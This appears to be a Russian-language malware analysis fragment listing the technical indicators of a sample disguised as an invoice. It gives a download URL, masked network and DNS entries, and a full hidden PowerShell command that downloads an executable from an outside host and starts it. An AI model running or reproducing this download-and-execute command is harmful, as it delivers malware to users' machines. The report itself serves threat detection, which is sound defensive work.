Техническая информация
- https://www.gyokeritato.hu/agrooter/rfq/dytjmfgbziu.exe как invoice4.exe
- 'gy###ritato.hu':443
- 'gy###ritato.hu':443
- DNS ASK gy###ritato.hu
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile('https://www.gyokeritato.hu/agrooter/RFQ/Dytjmfgbziu.exe','INVOICE4.exe');Start-Pr...' (со скрытым окном)